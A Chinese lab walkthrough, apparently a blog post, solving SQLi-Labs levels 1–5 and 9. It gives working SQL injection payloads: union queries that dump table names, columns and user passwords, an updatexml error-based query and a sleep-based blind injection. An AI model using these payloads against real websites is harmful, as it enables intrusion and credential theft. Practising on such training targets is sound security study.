sql注入靶场1-5,9关

第一关:

1通过id=1'的报错信息判断出,此关是'闭合 的字符型

2通过order by判断出该查询共有 3列

3通过语句?id=-1' union select 1,2,3 --+,判断出回显位置是2和3列

4接下来就可以构造sql语句去查询数据库信息

查询当前数据库?id=-1' union select 1,database(),3 --+

查询所有表名?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查询user表的字段?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查询账号密码?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

第二关

1通过id=1'的报错信息判断出,此关是数字型

2用order by判断出字段数为3

3用上关的方法判断出回显为2,3

4然后同样的构造sql语句查询数据库信息

第三关

1同样用id=1'的报错信息判断出闭合方式为')

然后其他步骤相同,只有?id=-1')不一样

第四关

1输入?id=1'不报错,输入?id=1"的报错信息for the right syntax to use near '"1"") LIMIT 0,1' at line 1看出闭合方式为")

其他步骤一样的判断回显位置,判断列数,查询数据库

第五关

1通过id=1'的报错信息判断出,此关是'闭合 的字符型,再用id=1' --+语句,却没有数据回显,说明本关不适用联合查询,有报错信息,可以用报错注入,

2同样用order by判断出字段数为3

3用特殊的报错函数来构造特定的sql语句,将想要的数据库信息显示在报错信息中

查询当前数据库名?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

第九关

1不管?id=1后面跟的'还是"或者其他符合,回显都不会变,也没有报错信息。

2所以尝试单引号闭合的时间盲注?id=1' and sleep(5) --+,加载页面需要五秒,说明是对的,

3通过延迟时间,只能每个字符每个字符的查询?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+,时间太久,可以搭配burp的爆破

相关推荐
记录者t1 小时前
redis常见问题:大key
数据库·redis
最后的最后、7962 小时前
SQLi-Labs 六关 SQL 注入过关笔记
数据库·笔记·sql
晓子文集2 小时前
Tushare接口文档:现金流量表(cashflow)
大数据·数据库·大模型·金融数据·量化投资·tushare
会编程的土豆2 小时前
数据库mysql八股
数据库·笔记·八股
nVisual2 小时前
巡检任务与工单闭环方案
运维·服务器·数据库·数据中心基础设施
施嘉伟2 小时前
它以为自己连的是MongoDB
数据库·mongodb
承渊政道2 小时前
从设备数据到AI洞察:时序数据的多模融合实践
数据库·人工智能·性能优化·金仓数据库·多模融合
会编程的土豆3 小时前
MySQL 中的 IN 和 EXISTS(零基础笔记)
数据库·笔记·mysql
科技圈快迅3 小时前
2026年数据库国产化替代性能调优方法论:从SQL基线建立到持续优化的全流程体系
数据库·sql